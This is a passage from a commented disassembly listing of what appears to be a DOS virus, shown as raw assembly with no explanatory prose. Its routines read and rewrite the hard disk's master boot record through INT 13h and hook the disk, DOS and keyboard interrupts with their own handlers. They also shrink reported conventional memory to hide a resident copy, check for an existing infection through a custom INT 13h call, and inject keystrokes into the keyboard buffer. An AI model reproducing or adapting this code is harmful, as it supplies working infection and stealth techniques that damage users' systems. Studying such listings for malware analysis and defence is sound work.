  3282. 1553                    movsw                           ; Mov [si] to es:[di]
  3283. 1554                    mov     byte ptr ds:[0F5Ch],0FFh ; (9804:0F5C=0FFh)
  3284. 1559                    call    sub_27                  ; (0B74)
  3285. 155C                    call    sub_52                  ; (160B)
  3286. 155F                    lodsw                           ; String [si] to ax
  3287. 1560                    sub     ah,cl
  3288. 1562                    stosw                           ; Store ax to es:[di]
  3289. 1563                    sub     cl,ch
  3290. 1565                    mov     al,ch
  3291. 1567                    test    data_59,8               ; (9804:018C=4)
  3292. 156C                    jz      loc_195                 ; Jump if zero
  3293. 156E                    add     al,2
  3294. 1570    loc_195:                                        ;  xref 9804:156C
  3295. 1570                    and     data_59,0F7h            ; (9804:018C=4)
  3296. 1575                    cbw                             ; Convrt byte to word
  3297. 1576   ,                mov     si,data_163e            ; (9804:1E77=0)
  3298. 1579                    sub     si,ax
  3299. 157B                    mov     ax,cx
  3300. 157D                    pop     cx
  3301. 157E                    pop     bx
  3302. 157F                    push    cx
  3303. 1580                    cmp     bl,2
  3304. 1583                    jne     loc_196                 ; Jump if not equal
  3305. 1585                    add     si,3Eh
  3306. 1588    loc_196:                                        ;  xref 9804:1583
  3307. 1588                    cbw                             ; Convrt byte to word
  3308. 1589                    add     [si],ax
  3309. 158B                    pop     ax
  3310. 158C                    mov     cx,1Fh
  3311. 158F                    mov     si,1DEFh
  3312. 1592                    cmp     bl,2
  3313. 1595                    je      locloop_197             ; Jump if equal
  3314. 1597                    cmp     bl,1
  3315. 159A                    jne     loc_ret_198             ; Jump if not equal
  3316. 159C                    mov     cx,28h
  3317. 159F   ,                mov     si,141Fh                ; (9804:141F=0FBh)
  3318.  
  3319. 15A2    locloop_197:                                    ;  xref 9804:1595, 15A8
  3320. 15A2                    lodsb                           ; String [si] to al
  3321. 15A3                    sub     al,ah
  3322. 15A5                    inc     ah
  3323. 15A7                    stosb                           ; Store al to es:[di]
  3324. 15A8                    loop    locloop_197             ; Loop if cx > 0
  3325.  
  3326. 15AA                    call    sub_21                  ; (093A)
  3327. 15AD                    not     ax
  3328. 15AF                    mov     ds:data_170e,ax         ; (9804:1F6A=0)
  3329. 15B2                    add     ax,0CCFFh
  3330. 15B5                    mov     ds:data_171e,ax         ; (9804:1F6C=0)
  3331.  
  3332. 15B8    loc_ret_198:                                    ;  xref 9804:159A
  3333. 15B8                    retn
  3334.         sub_49          endp
  3335.  
  3336.  
  3337.         ;==========================================================================
  3338.         ;                              SUBROUTINE
  3339.         ;
  3340.         ;         Called from:   9804:1534
  3341.         ;==========================================================================
  3342.  
  3343. 15B9    sub_50          proc    near
  3344. 15B9                    add     si,2
  3345. 15BC                    call    sub_21                  ; (093A)
  3346. 15BF                    not     ax
  3347. 15C1                    and     al,3
  3348. 15C3                    mov     bl,al
  3349. 15C5                    mov     dl,data_113[bx]         ; (9804:0FCE=3Eh)
  3350. 15C9                    cmp     al,1
  3351. 15CB                    je      loc_201                 ; Jump if equal
  3352. 15CD                    cmp     al,3
  3353. 15CF                    je      loc_201                 ; Jump if equal
  3354. 15D1                    shr     bl,1                    ; Shift w/zeros fill
  3355. 15D3                    mov     al,6
  3356. 15D5                    mul     bl                      ; ax = reg * al
  3357. 15D7                    mov     bx,ax
  3358. 15D9    loc_199:                                        ;  xref 9804:15E2
  3359. 15D9                    call    sub_21                  ; (093A)
  3360. 15DC                    and     ah,3
  3361. 15DF                    cmp     ah,3
  3362. 15E2                    je      loc_199                 ; Jump if equal
  3363. 15E4                    shl     ah,1                    ; Shift w/zeros fill
  3364. 15E6                    add     bl,ah
  3365. 15E8                    mov     ax,data_118[bx]         ; (9804:0FEA=1F16h)
  3366. 15EC                    cmp     al,16h
  3367. 15EE                    je      loc_201                 ; Jump if equal
  3368. 15F0                    cmp     al,50h                  ; 'P'
  3369. 15F2                    jne     loc_200                 ; Jump if not equal
  3370. 15F4                    add     al,dh
  3371. 15F6                    stosw                           ; Store ax to es:[di]
  3372. 15F7                    retn
  3373. 15F8    loc_200:                                        ;  xref 9804:15F2
  3374. 15F8                    add     ah,dh
  3375. 15FA                    stosw                           ; Store ax to es:[di]
  3376. 15FB                    retn
  3377. 15FC    loc_201:                                        ;  xref 9804:15CB, 15CF, 15EE
  3378. 15FC                    mov     ch,2
  3379. 15FE                    retn
  3380.         sub_50          endp
  3381.  
  3382.  
  3383.         ;==========================================================================
  3384.         ;                              SUBROUTINE
  3385.         ;
  3386.         ;         Called from:   9804:1550
  3387.         ;==========================================================================
  3388.  
  3389. 15FF    sub_51          proc    near
  3390. 15FF                    cmp     dl,3Eh                  ; '>'
  3391. 1602                    je      loc_ret_202             ; Jump if equal
  3392. 1604                    mov     al,dl
  3393. 1606                    stosb                           ; Store al to es:[di]
  3394. 1607                    add     cl,1
  3395.  
  3396. 160A    loc_ret_202:                                    ;  xref 9804:1602
  3397. 160A                    retn
  3398.         sub_51          endp
  3399.  
  3400.  
  3401.         ;==========================================================================
  3402.         ;                              SUBROUTINE
  3403.         ;
  3404.         ;         Called from:   9804:155C
  3405.         ;==========================================================================
  3406.  
  3407. 160B    sub_52          proc    near
  3408. 160B                    call    sub_21                  ; (093A)
  3409. 160E                    not     ax
  3410. 1610                    add     al,ah
  3411. 1612                    cmp     al,55h                  ; 'U'
  3412. 1614                    jb      loc_204                 ; Jump if below
  3413. 1616                    add     si,2
  3414. 1619                    add     cl,1
  3415. 161C                    mov     bl,data_95              ; (9804:0F5E=6)
  3416. 1620                    cmp     al,0AAh
  3417. 1622                    jb      loc_203                 ; Jump if below
  3418. 1624                    mov     al,80h
  3419. 1626                    mov     ah,data_115[bx]         ; (9804:0FD6=0C0h)
  3420. 162A                    stosw                           ; Store ax to es:[di]
  3421. 162B                    mov     al,1
  3422. 162D                    stosb                           ; Store al to es:[di]
  3423. 162E                    retn
  3424. 162F    loc_203:                                        ;  xref 9804:1622
  3425. 162F                    mov     al,80h
  3426. 1631                    mov     ah,data_116[bx]         ; (9804:0FDE=0E8h)
  3427. 1635                    stosw                           ; Store ax to es:[di]
  3428. 1636                    mov     al,0FFh
  3429. 1638                    stosb                           ; Store al to es:[di]
  3430. 1639                    retn
  3431. 163A    loc_204:                                        ;  xref 9804:1614
  3432. 163A                    movsw                           ; Mov [si] to es:[di]
  3433. 163B                    retn
  3434.         sub_52          endp
  3435.  
  3436.  
  3437.         ;==========================================================================
  3438.         ;                              SUBROUTINE
  3439.         ;
  3440.         ;         Called from:   9804:13DB, 1BE2
  3441.         ;==========================================================================
  3442.  
  3443. 163C    sub_53          proc    near
  3444. 163C                    pushf                           ; Push flags
  3445. 163D                    push    ax
  3446. 163E                    push    bx
  3447. 163F                    push    cx
  3448. 1640                    push    dx
  3449. 1641                    push    di
  3450. 1642                    push    si
  3451. 1643                    cld                             ; Clear direction
  3452. 1644                    mov     dx,bx
  3453. 1646                    mov     di,dx
  3454. 1648                    mov     ax,6566h
  3455. 164B                    mov     bx,7463h
  3456. 164E                    mov     cx,200h
  3457.  
  3458. 1651    locloop_205:                                    ;  xref 9804:165D
  3459. 1651                    scasw                           ; Scan es:[di] for ax
  3460. 1652                    jnz     loc_206                 ; Jump if not zero
  3461. 1654                    xchg    bx,ax
  3462. 1655                    scasw                           ; Scan es:[di] for ax
  3463. 1656                    jz      loc_207                 ; Jump if zero
  3464. 1658                    xchg    bx,ax
  3465. 1659                    sub     di,2
  3466. 165C    loc_206:                                        ;  xref 9804:1652
  3467. 165C                    dec     di
  3468. 165D                    loop    locloop_205             ; Loop if cx > 0
  3469.  
  3470. 165F                    jmp     short loc_213           ; (1698)
  3471. 1661    loc_207:                                        ;  xref 9804:1656
  3472. 1661                    mov     ax,4Eh
  3473. 1664    loc_208:                                        ;  xref 9804:167B
  3474. 1664                    mov     cx,200h
  3475. 1667                    mov     di,dx
  3476. 1669                    mov     si,0Ch
  3477.  
  3478. 166C    locloop_209:                                    ;  xref 9804:1674
  3479. 166C                    scasw                           ; Scan es:[di] for ax
  3480. 166D                    jnz     loc_210                 ; Jump if not zero
  3481. 166F                    add     es:[di-2],si
  3482. 1673    loc_210:                                        ;  xref 9804:166D
  3483. 1673                    dec     di
  3484. 1674                    loop    locloop_209             ; Loop if cx > 0
  3485.  
  3486. 1676                    dec     ax
  3487. 1677                    dec     ax
  3488. 1678                    cmp     ax,4Ch
  3489. 167B                    je      loc_208                 ; Jump if equal
  3490. 167D                    mov     di,dx
  3491. 167F                    mov     cx,1C0h
  3492. 1682                    mov     ax,280h
  3493.  
  3494. 1685    locloop_211:                                    ;  xref 9804:1696
  3495. 1685                    scasw                           ; Scan es:[di] for ax
  3496. 1686                    jc      loc_212                 ; Jump if carry Set
  3497. 1688                    dec     di
  3498. 1689                    dec     di
  3499. 168A                    push    ax
  3500. 168B                    dec     ax
  3501. 168C                    dec     ax
  3502. 168D                    scasw                           ; Scan es:[di] for ax
  3503. 168E                    pop     ax
  3504. 168F                    ja      loc_212                 ; Jump if above
  3505. 1691                    sub     es:[di-2],si
  3506. 1695    loc_212:                                        ;  xref 9804:1686, 168F
  3507. 1695                    dec     di
  3508. 1696                    loop    locloop_211             ; Loop if cx > 0
  3509.  
  3510. 1698    loc_213:                                        ;  xref 9804:165F
  3511. 1698                    pop     si
  3512. 1699                    pop     di
  3513. 169A                    pop     dx
  3514. 169B                    pop     cx
  3515. 169C                    pop     bx
  3516. 169D                    pop     ax
  3517. 169E                    popf                            ; Pop flags
  3518. 169F                    retn
  3519.         sub_53          endp
  3520.  
  3521.  
  3522.         ;==========================================================================
  3523.         ;                              SUBROUTINE
  3524.         ;
  3525.         ;         Called from:   9804:16F1
  3526.         ;==========================================================================
  3527.  
  3528. 16A0    sub_54          proc    near
  3529. 16A0                    mov     ax,201h
  3530. 16A3   ,                mov     bx,offset data_157      ; (9804:1E6A=98h)
  3531. 16A6                    xor     cx,cx                   ; Zero register
  3532. 16A8                    mov     ds,cx
  3533. 16AA                    push    cs
  3534. 16AB                    pop     es
  3535. 16AC                    inc     cx
  3536. 16AD                    mov     dx,80h
  3537. 16B0                    int     13h                     ; Disk  dl=drive 0  ah=func 02h
  3538.                                                         ;  read sectors to memory es:bx
  3539.                                                         ;   al=#,ch=cyl,cl=sectr,dh=head
  3540. 16B2   ,                mov     di,data_173e            ; (9804:2028=0)
  3541. 16B5   ,                mov     si,data_24e             ; (0000:7DBE=32h)
  3542. 16B8                    mov     cl,40h                  ; '@'
  3543. 16BA                    rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  3544. 16BC                    inc     cx
  3545. 16BD                    push    cs
  3546. 16BE                    pop     ds
  3547. 16BF                    mov     ax,301h
  3548. 16C2                    mov     byte ptr ds:[16CAh],ch  ; (9804:16CA=2)
  3549. 16C6                    call    sub_64                  ; (19D7)
  3550. 16C9                    retn
  3551.         sub_54          endp
  3552.  
  3553. 16CA                    add     dl,[bx+si+53h]
  3554. 16CD                    push    dx
  3555. 16CE                    mov     ax,201h
  3556. 16D1                    mov     bx,1E6Ah
  3557. 16D4                    push    cs
  3558. 16D5                    pop     es
  3559. 16D6                    mov     cx,1
  3560. 16D9                    mov     dx,80h
  3561. 16DC                    call    sub_59                  ; (18A5)
  3562. 16DF   ,                mov     di,data_173e            ; (9804:2028=0)
  3563. 16E2                    mov     cl,40h                  ; '@'
  3564. 16E4                    rep     stosb                   ; Rep when cx >0 Store al to es:[di]
  3565. 16E6                    inc     cx
  3566. 16E7                    mov     ax,301h
  3567. 16EA                    call    sub_64                  ; (19D7)
  3568. 16ED                    pop     dx
  3569. 16EE                    pop     bx
  3570. 16EF                    pop     ax
  3571. 16F0                    retn
  3572.  
  3573.         ;==========================================================================
  3574.         ;                              SUBROUTINE
  3575.         ;
  3576.         ;         Called from:   9804:145D
  3577.         ;==========================================================================
  3578.  
  3579. 16F1    sub_56          proc    near
  3580. 16F1                    call    sub_54                  ; (16A0)
  3581. 16F4                    call    sub_4                   ; (0251)
  3582. 16F7                    xor     ax,ax                   ; Zero register
  3583. 16F9                    mov     ds,ax
  3584. 16FB   ,                mov     si,data_6e              ; (0000:0070=53h)
  3585. 16FE   ,                mov     di,offset data_57       ; (9804:0188=0)
  3586. 1701                    movsw                           ; Mov [si] to es:[di]
  3587. 1702                    movsw                           ; Mov [si] to es:[di]
  3588. 1703   ,                mov     si,data_9e              ; (0000:0084=9Eh)
  3589. 1706   ,                mov     di,1B0Dh                ; (9804:1B0D=0)
  3590. 1709                    movsw                           ; Mov [si] to es:[di]
  3591. 170A                    movsw                           ; Mov [si] to es:[di]
  3592. 170B                    int     12h                     ; Put (memory size)/1K in ax
  3593. 170D                    mov     cs:data_151,ax          ; (9804:1B13=0)
  3594. 1711                    sub     word ptr ds:data_18e,9  ; (0000:0413=280h)
  3595. 1716                    nop
  3596. 1717                    mov     byte ptr cs:[0E6Ch],2   ; (9804:0E6C=6Ah)
  3597. 171D                    cli                             ; Disable interrupts
  3598. 171E                    mov     ds:data_7e,cs           ; (0000:0072=0F000h)
  3599. 1722                    mov     word ptr ds:data_6e,172Dh ; (0000:0070=0FF53h)
  3600. 1728                    sti                             ; Enable interrupts
  3601. 1729                    call    sub_20                  ; (08D0)
  3602. 172C                    retn
  3603.         sub_56          endp
  3604.  
  3605. 172D                    push    ax
  3606. 172E                    push    ds
  3607. 172F                    push    es
  3608. 1730                    push    si
  3609. 1731                    push    di
  3610. 1732                    xor     ax,ax                   ; Zero register
  3611. 1734                    mov     ds,ax
  3612. 1736   ,                mov     si,data_9e              ; (0000:0084=9Eh)
  3613. 1739                    push    cs
  3614. 173A                    pop     es
  3615. 173B   ,                mov     di,1B0Dh                ; (9804:1B0D=0)
  3616. 173E                    cld                             ; Clear direction
  3617. 173F                    cmpsw                           ; Cmp [si] to es:[di]
  3618. 1740                    jz      loc_214                 ; Jump if zero
  3619. 1742                    mov     al,1
  3620. 1744    loc_214:                                        ;  xref 9804:1740
  3621. 1744                    cmpsw                           ; Cmp [si] to es:[di]
  3622. 1745                    jz      loc_215                 ; Jump if zero
  3623. 1747                    mov     ah,1
  3624. 1749    loc_215:                                        ;  xref 9804:1745
  3625. 1749                    or      ax,ax                   ; Zero ?
  3626. 174B                    jz      loc_216                 ; Jump if zero
  3627. 174D                    sub     si,4
  3628. 1750                    sub     di,4
  3629. 1753                    movsw                           ; Mov [si] to es:[di]
  3630. 1754                    movsw                           ; Mov [si] to es:[di]
  3631. 1755                    dec     byte ptr es:[0E6Ch]     ; (9804:0E6C=6Ah)
  3632. 175A                    jnz     loc_216                 ; Jump if not zero
  3633. 175C   ,                mov     di,1447h                ; (9804:1447=97h)
  3634. 175F   ,                mov     si,data_2e              ; (0000:004C=74h)
  3635. 1762                    movsw                           ; Mov [si] to es:[di]
  3636. 1763                    movsw                           ; Mov [si] to es:[di]
  3637. 1764   ,                mov     di,1B0Dh                ; (9804:1B0D=0)
  3638. 1767   ,                mov     si,data_2e              ; (0000:004C=74h)
  3639. 176A                    movsw                           ; Mov [si] to es:[di]
  3640. 176B                    movsw                           ; Mov [si] to es:[di]
  3641. 176C   ,                mov     di,160h                 ; (9804:0160=0B2h)
  3642. 176F   ,                mov     si,data_9e              ; (0000:0084=9Eh)
  3643. 1772                    movsw                           ; Mov [si] to es:[di]
  3644. 1773                    movsw                           ; Mov [si] to es:[di]
  3645. 1774                    mov     word ptr ds:data_6e,1784h ; (0000:0070=0FF53h)
  3646. 177A    loc_216:                                        ;  xref 9804:174B, 175A
  3647. 177A                    pop     di
  3648. 177B                    pop     si
  3649. 177C                    pop     es
  3650. 177D                    pop     ds
  3651. 177E                    pop     ax
  3652. 177F    loc_217:                                        ;  xref 9804:17ED
  3653. 177F                    jmp     cs:data_57              ; (9804:0188=0)
  3654. 1784                    push    ax
  3655. 1785                    push    ds
  3656. 1786                    push    di
  3657. 1787                    xor     ax,ax                   ; Zero register
  3658. 1789                    mov     ds,ax
  3659. 178B                    mov     ds,ds:data_11e          ; (0000:008A=1336h)
  3660. 178F                    mov     ax,ds:data_25e          ; (1336:0000=20CDh)
  3661. 1792                    cmp     ax,20CDh
  3662. 1795                    jne     loc_218                 ; Jump if not equal
  3663. 1797                    xor     ax,ax                   ; Zero register
  3664. 1799                    mov     ds,ax
  3665. 179B                    mov     ax,cs:data_151          ; (9804:1B13=0)
  3666. 179F                    mov     ds:data_18e,ax          ; (0000:0413=280h)
  3667. 17A2                    mov     ax,word ptr cs:data_57  ; (9804:0188=0)
  3668. 17A6                    mov     ds:data_6e,ax           ; (0000:0070=0FF53h)
  3669. 17A9                    mov     ax,word ptr cs:data_57+2 ; (9804:018A=0)
  3670. 17AD                    mov     ds:data_7e,ax           ; (0000:0072=0F000h)
  3671. 17B0                    mov     ax,ds:data_9e           ; (0000:0084=109Eh)
  3672. 17B3                    mov     cs:data_39,ax           ; (9804:0164=4A0h)
  3673. 17B7                    mov     ax,ds:data_10e          ; (0000:0086=116h)
  3674. 17BA                    mov     word ptr cs:data_39+2,ax ; (9804:0166=315h)
  3675. 17BE                    mov     ax,ds:data_14e          ; (0000:00A0=10DAh)
  3676. 17C1                    mov     word ptr cs:[1823h],ax  ; (9804:1823=0)
  3677. 17C5                    mov     ax,ds:data_15e          ; (0000:00A2=116h)
  3678. 17C8                    mov     word ptr cs:[1825h],ax  ; (9804:1825=0)
  3679. 17CC                    mov     word ptr ds:data_14e,17EFh ; (0000:00A0=10DAh)
  3680. 17D2                    mov     ds:data_15e,cs          ; (0000:00A2=116h)
  3681. 17D6                    mov     word ptr ds:data_9e,388h ; (0000:0084=109Eh)
  3682. 17DC                    mov     ds:data_10e,cs          ; (0000:0086=116h)
  3683. 17E0                    push    si
  3684. 17E1                    push    es
  3685. 17E2                    call    sub_69                  ; (1AB8)
  3686. 17E5                    call    sub_70                  ; (1AC7)
  3687. 17E8                    pop     es
  3688. 17E9                    pop     si
  3689. 17EA    loc_218:                                        ;  xref 9804:1795
  3690. 17EA                    pop     di
  3691. 17EB                    pop     ds
  3692. 17EC                    pop     ax
  3693. 17ED                    jmp     short loc_217           ; (177F)
  3694. 17EF                    push    ax
  3695. 17F0                    push    bx
  3696. 17F1                    push    cx
  3697. 17F2                    push    dx
  3698. 17F3                    push    es
  3699. 17F4                    push    ds
  3700. 17F5                    push    di
  3701. 17F6                    push    si
  3702. 17F7                    test    byte ptr cs:[16CAh],80h ; (9804:16CA=2)
  3703. 17FD                    jnz     loc_219                 ; Jump if not zero
  3704. 17FF                    or      byte ptr cs:[16CAh],80h ; (9804:16CA=2)
  3705. 1805                    cld                             ; Clear direction
  3706. 1806                    push    cs
  3707. 1807                    pop     ds
  3708. 1808                    call    sub_71                  ; (1AE8)
  3709. 180B                    call    sub_48                  ; (1379)
  3710. 180E    ;*              call    sub_55                  ; (16CB)
  3711. 180E                    db      0E8h,0BAh,0FEh
  3712. 1811                    call    sub_70                  ; (1AC7)
  3713. 1814    loc_219:                                        ;  xref 9804:17FD
  3714. 1814                    call    sub_57                  ; (1827)
  3715. 1817                    call    sub_58                  ; (1876)
  3716. 181A                    pop     si
  3717. 181B                    pop     di
  3718. 181C                    pop     ds
  3719. 181D                    pop     es
  3720. 181E                    pop     dx
  3721. 181F                    pop     cx
  3722. 1820                    pop     bx
  3723. 1821                    pop     ax
  3724. 1822    ;*              jmp     far ptr loc_1           ; (0000:0000)
  3725. 1822                    db      0EAh
  3726. 1823                    dw      0, 0
  3727.  
  3728.         ;==========================================================================
  3729.         ;                              SUBROUTINE
  3730.         ;
  3731.         ;         Called from:   9804:0103, 1814
  3732.         ;==========================================================================
  3733.  
  3734. ;----------------- Trap Int 13h -----------------------------------------
  3735. 1827    sub_57          proc    near
  3736. 1827                    mov     ax,160Ah
  3737. 182A                    int     2Fh                     ; ??int non-standard interrupt
  3738. 182C                    or      ax,ax                   ; Zero ?
  3739. 182E                    jnz     loc_221                 ; Jump if not zero
  3740. 1830                    cmp     bh,4
  3741. 1833                    jb      loc_221                 ; Jump if below
  3742. 1835                    or      cs:data_59,4            ; (9804:018C=4)
  3743. 183B                    mov     ax,5445h
  3744. 183E                    int     13h                     ; ??int non-standard interrupt
  3745. 1840                    cmp     ax,4554h
  3746. 1843                    je      loc_ret_220             ; Jump if equal
  3747. 1845                    or      byte ptr cs:[16CAh],2   ; (9804:16CA=2)
  3748. 184B                    mov     ax,3513h
  3749. 184E                    int     21h                     ; DOS Services  ah=function 35h
  3750.                                                         ;  get intrpt vector al in es:bx
  3751. 1850                    mov     word ptr cs:[1447h],bx  ; (9804:1447=2597h)
  3752. 1855                    mov     word ptr cs:[1449h],es  ; (9804:1449=0FD58h)
  3753. 185A                    xor     ax,ax                   ; Zero register
  3754. 185C                    mov     ds,ax
  3755. 185E                    mov     word ptr ds:data_2e,1B37h ; (0000:004C=774h)
  3756. 1864                    mov     ds:data_3e,cs           ; (0000:004E=70h)
  3757.  
  3758. 1868    loc_ret_220:                                    ;  xref 9804:1843
  3759. 1868                    retn
  3760. 1869    loc_221:                                        ;  xref 9804:182E, 1833
  3761. 1869                    and     cs:data_59,0FBh         ; (9804:018C=4)
  3762. 186F                    and     byte ptr cs:[16CAh],0FCh ; (9804:16CA=2)
  3763. 1875                    retn
  3764.         sub_57          endp
  3765.  
  3766.  
  3767.         ;==========================================================================
  3768.         ;                              SUBROUTINE
  3769.         ;
  3770.         ;         Called from:   9804:1817
  3771.         ;==========================================================================
  3772.  
  3773. 1876    sub_58          proc    near
  3774. 1876                    test    cs:data_59,4            ; (9804:018C=4)
  3775. 187C                    jnz     loc_ret_222             ; Jump if not zero
  3776. 187E                    mov     ax,5445h
  3777. 1881                    int     13h                     ; ??int non-standard interrupt
  3778. 1883                    cmp     ax,4554h
  3779. 1886                    je      loc_ret_222             ; Jump if equal
  3780. 1888                    mov     ax,word ptr cs:[1B0Dh]  ; (9804:1B0D=0)
  3781. 188C                    mov     word ptr cs:[1447h],ax  ; (9804:1447=2597h)
  3782. 1890                    mov     ax,cs:data_149          ; (9804:1B0F=0)
  3783. 1894                    mov     word ptr cs:[1449h],ax  ; (9804:1449=0FD58h)
  3784. 1898                    and     byte ptr cs:[16CAh],0FCh ; (9804:16CA=2)
  3785. 189E                    call    sub_69                  ; (1AB8)
  3786. 18A1                    call    sub_70                  ; (1AC7)
  3787.  
  3788. 18A4    loc_ret_222:                                    ;  xref 9804:187C, 1886
  3789. 18A4                    retn
  3790.         sub_58          endp
  3791.  
  3792.  
  3793.         ;==========================================================================
  3794.         ;                              SUBROUTINE
  3795.         ;
  3796.         ;         Called from:   9804:13A0, 13B8, 13CD, 13DE, 16DC, 19AF, 19E3
  3797.         ;                             1B1F, 1B89, 1B9D, 1BA7, 1BB4, 1BCB, 1BD4
  3798.         ;                             1BE5, 1C2F, 1C3D, 1C63, 1C6F, 1C7C, 1C9D
  3799.         ;                             1CD3, 1CF6, 1D10, 1D21, 1D47, 1D66, 1DD5
  3800.         ;==========================================================================
  3801.  
  3802. 18A5    sub_59          proc    near
  3803. 18A5                    pushf                           ; Push flags
  3804. 18A6                    call    dword ptr cs:[1447h]    ; (9804:1447=2597h)
  3805. 18AB                    retn
  3806.         sub_59          endp
  3807.  
  3808.  
  3809.         ;==========================================================================
  3810.         ;
  3811.         ;                       External Entry Point
  3812.         ;
  3813.         ;==========================================================================
  3814.  
  3815. 18AC    int_16h_entry   proc    far                     ;  xref 9804:1999
  3816. 18AC                    cmp     ah,1
  3817. 18AF                    ja      loc_224                 ; Jump if above
  3818. 18B1                    cmp     ah,1
  3819. 18B4                    je      loc_223                 ; Jump if equal
  3820. 18B6                    call    sub_62                  ; (191C)
  3821. 18B9                    call    sub_60                  ; (18F1)
  3822. 18BC                    call    sub_61                  ; (1908)
  3823. 18BF                    mov     byte ptr cs:[18F0h],2   ; (9804:18F0=2)
  3824. 18C5                    retf    2                       ; Return far
  3825.         int_16h_entry   endp
  3826.  
  3827. 18C8    loc_223:                                        ;  xref 9804:18B4
  3828. 18C8                    dec     byte ptr cs:[18EDh]     ; (9804:18ED=4)
  3829. 18CD                    jnz     loc_224                 ; Jump if not zero
  3830. 18CF                    mov     byte ptr cs:[18EDh],5   ; (9804:18ED=4)
  3831. 18D5                    push    ax
  3832. 18D6                    push    cx
  3833. 18D7                    call    sub_61                  ; (1908)
  3834. 18DA                    mov     cx,ax
  3835. 18DC                    mov     ah,5
  3836. 18DE                    int     16h                     ; Keyboard i/o  ah=function 05h
  3837.                                                         ;  stuff key cx into keybd buffr
  3838. 18E0                    pop     cx
  3839. 18E1                    pop     ax
  3840. 18E2                    call    sub_60                  ; (18F1)
  3841. 18E5                    retf    2                       ; Return far
  3842. 18E8    loc_224:                                        ;  xref 9804:18AF, 18CD
  3843. 18E8    ;*              jmp     far ptr loc_2           ; (0070:042D)
  3844. 18E8                    db      0EAh
  3845. 18E9                    dw      42Dh, 70h
  3846. 18ED                    add     al,0
  3847. 18EF                    add     [bp+si],al
  3848.  
  3849.         ;==========================================================================
  3850.         ;                              SUBROUTINE
  3851.         ;
  3852.         ;         Called from:   9804:18B9, 18E2, 1920
  3853.         ;==========================================================================
  3854.  
  3855. 18F1    sub_60          proc    near
  3856. 18F1                    pushf                           ; Push flags
  3857. 18F2                    call    dword ptr cs:[18E9h]    ; (9804:18E9=42Dh)
  3858. 18F7                    retn
  3859.         sub_60          endp
  3860.  
  3861. 18F8                    pop     cx
  3862. 18F9                    adc     ax,314Eh
  3863. 18FC                    dec     si
  3864. 18FD                    xor     [bp+31h],cx
  3865. 1900                    pop     cx
  3866. 1901                    adc     ax,1559h
  3867. 1904                    dec     si
  3868. 1905                    xor     [bx+di+15h],bx
  3869.  
  3870.         ;==========================================================================
  3871.         ;                              SUBROUTINE
  3872.         ;
  3873.         ;         Called from:   9804:18BC, 18D7, 1926, 1939
  3874.         ;==========================================================================
  3875.  
  3876. 1908    sub_61          proc    near
  3877. 1908                    push    di
  3878. 1909                    mov     di,word ptr cs:[18EEh]  ; (9804:18EE=0)
  3879. 190E                    mov     al,byte ptr cs:[18F0h]  ; (9804:18F0=2)
  3880. 1912                    cbw                             ; Convrt byte to word
  3881. 1913                    add     di,ax
  3882. 1915                    mov     ax,word ptr cs:[18F8h][di] ; (9804:18F8=1559h)
  3883. 191A                    pop     di
  3884. 191B                    retn
  3885.         sub_61          endp
  3886.  
  3887.  
  3888.         ;==========================================================================
  3889.         ;                              SUBROUTINE
  3890.         ;
  3891.         ;         Called from:   9804:18B6
  3892.         ;==========================================================================
  3893.  
  3894. 191C    sub_62          proc    near
  3895. 191C                    push    ax
  3896. 191D                    push    cx
  3897. 191E                    mov     ah,1
  3898. 1920                    call    sub_60                  ; (18F1)
  3899. 1923                    jz      loc_225                 ; Jump if zero
  3900. 1925                    xchg    cx,ax
  3901. 1926                    call    sub_61                  ; (1908)
  3902. 1929                    cmp     ax,cx
  3903. 192B                    je      loc_226                 ; Jump if equal
  3904. 192D                    push    ds
  3905. 192E                    xor     ax,ax                   ; Zero register
  3906. 1930                    mov     ds,ax
  3907. 1932                    mov     ax,ds:data_19e          ; (0000:041A=30h)
  3908. 1935                    mov     ds:data_20e,ax          ; (0000:041C=30h)
  3909. 1938                    pop     ds
  3910. 1939    loc_225:                                        ;  xref 9804:1923
  3911. 1939                    call    sub_61                  ; (1908)
  3912. 193C                    mov     cx,ax
  3913. 193E                    mov     ah,5
  3914. 1940                    int     16h                     ; Keyboard i/o  ah=function 05h
  3915.                                                         ;  stuff key cx into keybd buffr
  3916. 1942    loc_226:                                        ;  xref 9804:192B
  3917. 1942                    pop     cx
  3918. 1943                    pop     ax
  3919. 1944                    retn
  3920.         sub_62          endp
  3921.  
  3922.  
  3923.         ;==========================================================================
  3924.         ;                              SUBROUTINE
  3925.         ;
  3926.         ;         Called from:   9804:1400
  3927.         ;==========================================================================
  3928.  
  3929. 1945    sub_63          proc    near
  3930.  
  3931.         PARAMETER_1     =       4                       ; bp+4
  3932.         PARAMETER_2     =       6                       ; bp+6
  3933.         PARAMETER_3     =       8                       ; bp+8
  3934.         PARAMETER_4     =       0Ah                     ; bp+0Ah
  3935.  
  3936. 1945                    push    bp
  3937. 1946                    mov     bp,sp
  3938. 1948                    mov     data_62,0               ; (9804:0191=0)
  3939. 194D                    mov     data_53,71h             ; (9804:0182=206h)
  3940. 1953                    mov     data_55,0               ; (9804:0185=0)
  3941. 1958                    mov     data_54,1               ; (9804:0184=0)
  3942. 195D                    mov     ax,3513h
  3943. 1960                    int     21h                     ; DOS Services  ah=function 35h
  3944.                                                         ;  get intrpt vector al in es:bx
  3945. 1962                    mov     data_51,bx              ; (9804:017E=61F7h)
  3946. 1966                    mov     word ptr data_51+2,es   ; (9804:0180=2099h)
  3947. 196A                    call    sub_2                   ; (01F6)
  3948. 196D                    cld                             ; Clear direction
  3949. 196E   ,                mov     si,offset data_51       ; (9804:017E=0F7h)
  3950. 1971   ,                mov     di,1447h                ; (9804:1447=97h)
  3951. 1974                    movsw                           ; Mov [si] to es:[di]
  3952. 1975                    movsw                           ; Mov [si] to es:[di]
  3953. 1976                    mov     ax,440Dh
  3954. 1979                    mov     bx,180h
  3955. 197C                    mov     cx,84Bh
  3956. 197F                    int     21h                     ; DOS Services  ah=function 44h
  3957.                                                         ;  IOctl-C block device control
  3958.                                                         ;   bl=drive, cx=category/type
  3959.                                                         ;   ds:dx ptr to parameter block
  3960. 1981                    mov     ax,3516h
  3961. 1984                    int     21h                     ; DOS Services  ah=function 35h
  3962.                                                         ;  get intrpt vector al in es:bx
  3963. 1986                    mov     word ptr ds:[18E9h],bx  ; (9804:18E9=42Dh)
  3964. 198A                    mov     word ptr ds:[18EBh],es  ; (9804:18EB=70h)
  3965. 198E                    mov     byte ptr ds:[18EDh],5   ; (9804:18ED=4)
  3966. 1993                    mov     word ptr ds:[18EEh],0   ; (9804:18EE=0)
